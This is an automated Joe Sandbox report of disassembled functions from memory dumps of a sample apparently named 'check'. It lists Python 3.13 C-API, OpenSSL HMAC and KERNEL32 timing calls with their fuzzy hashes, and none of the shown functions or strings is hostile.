Opcode ID: f7b6c257f5153f0c9bbb13b5e51fb307c617ecddb46bb5be0b85e8697b90cb6c
Instruction ID: 61bfd3ca20998c2a1d5639016fbbb2d4555c10e2e06bd54a229bf3509e38f9a3
Opcode Fuzzy Hash: f7b6c257f5153f0c9bbb13b5e51fb307c617ecddb46bb5be0b85e8697b90cb6c
Instruction Fuzzy Hash: 5101286EF0AE0281FB058F14EC5027822A0AF71BF5F548235C98F4B7A1DE3EA4818F01

Function 00007FF810C5338E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON313 ref: 00007FF810C533AD
_Py_Dealloc.PYTHON313 ref: 00007FF810C533CB
PyTuple_Pack.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C533E5

Strings

<module>, xrefs: 00007FF810C53EFB

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>
API String ID: 4228545439-217463007
Opcode ID: 2db30d2392bd0f9a905c644642ceff3311e40524a3287900d5ef922f26badd7e
Instruction ID: 229860689d466b7c682d27d17a593458e58662dd5f57cbe773325e3d65d7030c
Opcode Fuzzy Hash: 2db30d2392bd0f9a905c644642ceff3311e40524a3287900d5ef922f26badd7e
Instruction Fuzzy Hash: 8F01046AB0AE0281FB158B15EC6127923A0AF70BF5F448635C98F477B0DE7DA4868F00

Function 00007FF810C52D20 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON313 ref: 00007FF810C52D3F
_Py_Dealloc.PYTHON313 ref: 00007FF810C52D5D
PyTuple_Pack.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C52D77

Strings

<module>, xrefs: 00007FF810C53EFB

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>
API String ID: 4228545439-217463007
Opcode ID: eee695407ccbba70d80bce8760a07c02e89a062bd34d85fc18fa403d196eee59
Instruction ID: 3cecfe87747bd727cd539801ac402631fd8fd0d51b69dc178d1e8f072f3a0fc2
Opcode Fuzzy Hash: eee695407ccbba70d80bce8760a07c02e89a062bd34d85fc18fa403d196eee59
Instruction Fuzzy Hash: DA01126AF0AE0682FB158B14EC5027922A2AF71BF5F444231D98F467A0EE7DB481CF40

Function 00007FF810C52ED1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON313 ref: 00007FF810C52EF0
_Py_Dealloc.PYTHON313 ref: 00007FF810C52F0E
PyTuple_Pack.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C52F28

Strings

<module>, xrefs: 00007FF810C53EFB

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>
API String ID: 4228545439-217463007
Opcode ID: 596d842dc495f141c27214050a1ff19e89e4c57fcc090d36a2c41d7bd0edf196
Instruction ID: a257735e2ec6618b78f2ea927f3f4b30cce519248c188e8ea74a069b2e935040
Opcode Fuzzy Hash: 596d842dc495f141c27214050a1ff19e89e4c57fcc090d36a2c41d7bd0edf196
Instruction Fuzzy Hash: 5B01166AF0AE0281FB159F54EC5127922A2AF71BF5F444331D98F477A0DE7DA8818F50

Function 00007FF810C538A9 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON313 ref: 00007FF810C538C8
_Py_Dealloc.PYTHON313 ref: 00007FF810C538E6
PyTuple_Pack.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C53900

Strings

<module>, xrefs: 00007FF810C53EFB

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>
API String ID: 4228545439-217463007
Opcode ID: 6d0cf9ef5f0c5af509d4d3dc1ef07962d9c25b385a6c16bb2a626cdd6da38244
Instruction ID: b73b0db33cd205b3f27ad34360e9e0981e91009668e143cea8cab02643d3a904
Opcode Fuzzy Hash: 6d0cf9ef5f0c5af509d4d3dc1ef07962d9c25b385a6c16bb2a626cdd6da38244
Instruction Fuzzy Hash: AD014869F09E0281EB055B15EC0027822A0AF34BF4F448632D98F463A0DE3DE4819F00

Function 00007FF810C53A72 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON313 ref: 00007FF810C53A91
_Py_Dealloc.PYTHON313 ref: 00007FF810C53AAF
PyTuple_Pack.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C53AC9

Strings

<module>, xrefs: 00007FF810C53EFB

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>
API String ID: 4228545439-217463007
Opcode ID: a31c301ff74fbdac00c11ef4afb9bb04f2030cc58438b38950cfc4f01db67ad5
Instruction ID: 4be856bfafffee9c51082ff955e6f13e6b492d999ef35d71e59f3850b49002be
Opcode Fuzzy Hash: a31c301ff74fbdac00c11ef4afb9bb04f2030cc58438b38950cfc4f01db67ad5
Instruction Fuzzy Hash: 6B01167AB0AE4281FB158B55EC5427922A0AF70BF5F548235C98F477A0EE7DA4819F01

Function 00007FF810C53063 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON313 ref: 00007FF810C53082
_Py_Dealloc.PYTHON313 ref: 00007FF810C530A0
PyTuple_Pack.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C530BA

Strings

<module>, xrefs: 00007FF810C53EFB

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>
API String ID: 4228545439-217463007
Opcode ID: f6e96df50d3362cf36b143e0f762cf0fa7149ebdf4c241ee810e1c860e5eb128
Instruction ID: 5136e01c1ec2a75f1c50f7474256cb404e61aff509398422a61e5611e094ae2b
Opcode Fuzzy Hash: f6e96df50d3362cf36b143e0f762cf0fa7149ebdf4c241ee810e1c860e5eb128
Instruction Fuzzy Hash: DC011A6AF0AE0781FB154B54EC5427922A1AFB0BF5F448635C98F477A0EE3DA4818F00

Function 00007FF810C53CC9 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON313 ref: 00007FF810C53CCF
PyObject_Vectorcall.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C53CF6
_Py_Dealloc.PYTHON313 ref: 00007FF810C53D0D

Strings

<module>, xrefs: 00007FF810C53D1F

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$Object_Vectorcall
String ID: <module>
API String ID: 1057673266-217463007
Opcode ID: e6b807a574b151e0ea437ad625d368e53588148fab8770f4cfb0151380ea4136
Instruction ID: dd1f9578601227eb38cb5f5760f628c732980f99a09e70b798e30fb03c7d3c2b
Opcode Fuzzy Hash: e6b807a574b151e0ea437ad625d368e53588148fab8770f4cfb0151380ea4136
Instruction Fuzzy Hash: 83F0692AF19A5242F7659F11AD503B96230AF61BF1F448230CD8A4AB90DF2CA5868F80

Function 00007FF810C44B70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PyObject_GetAttr.PYTHON313 ref: 00007FF810C44B84
PyErr_Occurred.PYTHON313 ref: 00007FF810C44BC7

Part of subcall function 00007FF810C435A0: PyObject_IsInstance.PYTHON313 ref: 00007FF810C435B0
Part of subcall function 00007FF810C435A0: PyObject_CallNoArgs.PYTHON313 ref: 00007FF810C435C2
Part of subcall function 00007FF810C435A0: PyErr_SetObject.PYTHON313 ref: 00007FF810C435D6
Part of subcall function 00007FF810C435A0: _Py_Dealloc.PYTHON313 ref: 00007FF810C435EA

_Py_Dealloc.PYTHON313 ref: 00007FF810C44BA8

Strings

ratio, xrefs: 00007FF810C44BB5

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Object_$DeallocErr_$ArgsAttrCallInstanceObjectOccurred
String ID: ratio
API String ID: 1598006454-4234197119
Opcode ID: 3bbabb2b5d5ebce55288ed99510429451429da45de96d1a29cbcc98062e55641
Instruction ID: 368894b661b06049c58e431fd7f1e2883ef8ea837ee7555169d442eb51583d1a
Opcode Fuzzy Hash: 3bbabb2b5d5ebce55288ed99510429451429da45de96d1a29cbcc98062e55641
Instruction Fuzzy Hash: AA01F669F19E0681FB155B61AC5427423A0EF68BF9F449231C84E8A3A1DE2CE4808F00

Function 00007FF810C92250 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

EVP_MD_CTX_md.LIBCRYPTO-3 ref: 00007FF810C92261

Part of subcall function 00007FF810C92350: EVP_MD_get_type.LIBCRYPTO-3(?,?,?,00007FF810C9226F), ref: 00007FF810C92356
Part of subcall function 00007FF810C92350: OBJ_nid2ln.LIBCRYPTO-3(?,?,?,00007FF810C9226F), ref: 00007FF810C92381

PyUnicode_FromFormat.PYTHON313 ref: 00007FF810C9228C
_Py_Dealloc.PYTHON313 ref: 00007FF810C922A3

Strings

<%U %s object @ %p>, xrefs: 00007FF810C9227B

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: D_get_typeDeallocFormatFromJ_nid2lnUnicode_X_md
String ID: <%U %s object @ %p>
API String ID: 943899189-1790359138
Opcode ID: 998d15007a0c1fa81f0979a69a8cbf5cbb11750c47a7124c061dd1ef1bcc3e54
Instruction ID: fa0bf3ef31f792635f5f3204576cd5246b85ef61074c63880f5b64ff77dce4ff
Opcode Fuzzy Hash: 998d15007a0c1fa81f0979a69a8cbf5cbb11750c47a7124c061dd1ef1bcc3e54
Instruction Fuzzy Hash: 37F037A1A09E82C1EF048B92ED1417863A1AF48FE8F040231DA4E07BE5DE3CE4548B40

Function 00007FF810C53735 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON313 ref: 00007FF810C53735
_Py_Dealloc.PYTHON313 ref: 00007FF810C53754
PyTuple_Pack.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C5376E

Strings

<module>, xrefs: 00007FF810C53EFB

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>
API String ID: 4228545439-217463007
Opcode ID: 9568b254760b159bed1dfc77bbadfccc4ec1251d40463c482481ae764fb15233
Instruction ID: 02bcab01e3e89f886210ce5c41af053662e28e2860009dde5aced6873d3bab9d
Opcode Fuzzy Hash: 9568b254760b159bed1dfc77bbadfccc4ec1251d40463c482481ae764fb15233
Instruction Fuzzy Hash: 8BF030ADF09E0781FB158F14AD542752260AF34BF5F408235C98F467A1EE7DB5818F50

Function 00007FF810C43880 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON313 ref: 00007FF810C438B4
PyErr_Format.PYTHON313 ref: 00007FF810C438E0

Strings

%s object expected; and errored formatting real type!, xrefs: 00007FF810C438D9
%s object expected; got %U, xrefs: 00007FF810C438AD

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_Format
String ID: %s object expected; and errored formatting real type!$%s object expected; got %U
API String ID: 376477240-2630277986
Opcode ID: 8576a327841fc636c43b6f44574b4efeb9a628d8678082f4720d58ea3f36b502
Instruction ID: 06798bdad1c84fa14b168f26e1c966ef46e5cca118b1a67feba2d717a0253b80
Opcode Fuzzy Hash: 8576a327841fc636c43b6f44574b4efeb9a628d8678082f4720d58ea3f36b502
Instruction Fuzzy Hash: ABF04F65F1DD0292EB454B12FD641797360FFA8BE4F449232EA4E8A7A5DE2CE4808B00

Function 00007FF810C95BF8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

HMAC_CTX_get_md.LIBCRYPTO-3 ref: 00007FF810C95C09

Part of subcall function 00007FF810C92350: EVP_MD_get_type.LIBCRYPTO-3(?,?,?,00007FF810C9226F), ref: 00007FF810C92356
Part of subcall function 00007FF810C92350: OBJ_nid2ln.LIBCRYPTO-3(?,?,?,00007FF810C9226F), ref: 00007FF810C92381

PyUnicode_FromFormat.PYTHON313 ref: 00007FF810C95C2C
_Py_Dealloc.PYTHON313 ref: 00007FF810C95C43

Strings

<%U HMAC object @ %p>, xrefs: 00007FF810C95C22

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: D_get_typeDeallocFormatFromJ_nid2lnUnicode_X_get_md
String ID: <%U HMAC object @ %p>
API String ID: 454943875-749664232
Opcode ID: dbcd7a9b5ed1b252e4c26a675f66115dc40f302b5ee01448cee8bc7493086a2a
Instruction ID: 9fc3e0c70de688fe2cc26451dea9cc3e15f4adab8c726e10b01d1f0fc3138e52
Opcode Fuzzy Hash: dbcd7a9b5ed1b252e4c26a675f66115dc40f302b5ee01448cee8bc7493086a2a
Instruction Fuzzy Hash: 3EF0D4A1A09F42C1EB489BA2FD1417962A1AF5DFF4F080631DA1E067A6DE3DE4948B00

Function 00007FF810C95584 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

HMAC_CTX_get_md.LIBCRYPTO-3 ref: 00007FF810C9558E

Part of subcall function 00007FF810C92350: EVP_MD_get_type.LIBCRYPTO-3(?,?,?,00007FF810C9226F), ref: 00007FF810C92356
Part of subcall function 00007FF810C92350: OBJ_nid2ln.LIBCRYPTO-3(?,?,?,00007FF810C9226F), ref: 00007FF810C92381

PyUnicode_FromFormat.PYTHON313 ref: 00007FF810C955B3
_Py_Dealloc.PYTHON313 ref: 00007FF810C955CA

Strings

hmac-%U, xrefs: 00007FF810C955AC

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: D_get_typeDeallocFormatFromJ_nid2lnUnicode_X_get_md
String ID: hmac-%U
API String ID: 454943875-3757664071
Opcode ID: a10488b4e6696239da1e3ff35af8d86ccd4e6bb811ab275ccbd012928b99e2e5
Instruction ID: 3d5cde37daf5526db54bbeb944297ad7595d8ee155e5775b427dca9d8e74b189
Opcode Fuzzy Hash: a10488b4e6696239da1e3ff35af8d86ccd4e6bb811ab275ccbd012928b99e2e5
Instruction Fuzzy Hash: 83F082A1A05E42C1EB044B91ED1413923A1AF58BF0F580130CD0E073A5EE3CE454CB00

Function 00007FF810C8297C Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

PyMem_Calloc.PYTHON313(?,?,?,00007FF810C824EA), ref: 00007FF810C829AF

Memory Dump Source

Source File: 0000001D.00000002.2001914623.00007FF810C81000.00000020.00000001.01000000.0000005B.sdmp, Offset: 00007FF810C80000, based on PE: true

Associated: 0000001D.00000002.2001845112.00007FF810C80000.00000002.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2001976863.00007FF810C83000.00000002.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2002038707.00007FF810C85000.00000004.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2002106651.00007FF810C86000.00000002.00000001.01000000.0000005B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c80000_check.jbxd

Similarity

API ID: CallocMem_
String ID:
API String ID: 1033417441-0
Opcode ID: a777529436215d98e3cbfa5177741d3e59339e24b94eedb685fc45637a437496
Instruction ID: ddf16a5532237b74eae49827db428d2bd5fceb7da9b774644dc34505e1159df5
Opcode Fuzzy Hash: a777529436215d98e3cbfa5177741d3e59339e24b94eedb685fc45637a437496
Instruction Fuzzy Hash: 8A21A722618F81C6DB148F25E9042AD73A5FB49FE8F248236EA8D07768DF3CD452D744

Function 00007FF810C44DD0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON313 ref: 00007FF810C44DFC
_Py_Dealloc.PYTHON313 ref: 00007FF810C44E25
_Py_Dealloc.PYTHON313 ref: 00007FF810C44E4E
_Py_Dealloc.PYTHON313 ref: 00007FF810C44E70

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc
String ID:
API String ID: 3617616757-0
Opcode ID: 2d9d2aacd20fba6858c68a96e06aaa8cd09ba3f0937ea4e211ddeda5f8f732bf
Instruction ID: 79402dde8b86ce604e9661d6086a1f153fd51bf34595fca8d42e3f99463b3e77
Opcode Fuzzy Hash: 2d9d2aacd20fba6858c68a96e06aaa8cd09ba3f0937ea4e211ddeda5f8f732bf
Instruction Fuzzy Hash: 9C21C872D19E1281EB659F748C58378B2A0FF54BBDF344330CA79892E18F7D98858B40

Function 00007FF810C95B6C Relevance: 6.0, APIs: 4, Instructions: 40COMMON

Download Yara Rule

APIs

HMAC_CTX_new.LIBCRYPTO-3(?,?,?,00007FF810C95174), ref: 00007FF810C95B86
PyErr_NoMemory.PYTHON313(?,?,?,00007FF810C95174), ref: 00007FF810C95B94

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Err_MemoryX_new
String ID:
API String ID: 1734961617-0
Opcode ID: 757364ee8d4b7c590b20afd03885750955438580def8580dadae8bcfa330c834
Instruction ID: af39c66b585c702dcabc32deb2a59207dc188b27c57af9a2f260c6f218eae39a
Opcode Fuzzy Hash: 757364ee8d4b7c590b20afd03885750955438580def8580dadae8bcfa330c834
Instruction Fuzzy Hash: 73017CA1B1CE82C2EB508BA2AD4417972A0AF9CBE4F544531DE4E47BA5DE2CE4418B00

Function 00007FF810C7159C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF810C715C8
GetCurrentThreadId.KERNEL32 ref: 00007FF810C715D6
GetCurrentProcessId.KERNEL32 ref: 00007FF810C715E2
QueryPerformanceCounter.KERNEL32 ref: 00007FF810C715F2

Memory Dump Source

Source File: 0000001D.00000002.2001656157.00007FF810C71000.00000020.00000001.01000000.0000005C.sdmp, Offset: 00007FF810C70000, based on PE: true

Associated: 0000001D.00000002.2001594326.00007FF810C70000.00000002.00000001.01000000.0000005C.sdmpDownload File
Associated: 0000001D.00000002.2001720279.00007FF810C72000.00000002.00000001.01000000.0000005C.sdmpDownload File
Associated: 0000001D.00000002.2001784985.00007FF810C74000.00000002.00000001.01000000.0000005C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c70000_check.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 579d2311f9809c6f1f1285df388df26a79c7ce9d988a673a40c9bfbaa17cd474
Instruction ID: aaf13d394eb86e327020cc0484c76911f6bd23fb3b3271731b697dbf6757652c
Opcode Fuzzy Hash: 579d2311f9809c6f1f1285df388df26a79c7ce9d988a673a40c9bfbaa17cd474
Instruction Fuzzy Hash: 55111532B14F018AEB008B60EC552A833A4FB59BA8F440E31EA6D867A5DF7CD198C740

Function 00007FF810C93F4C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF810C93F78
GetCurrentThreadId.KERNEL32 ref: 00007FF810C93F86
GetCurrentProcessId.KERNEL32 ref: 00007FF810C93F92
QueryPerformanceCounter.KERNEL32 ref: 00007FF810C93FA2

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
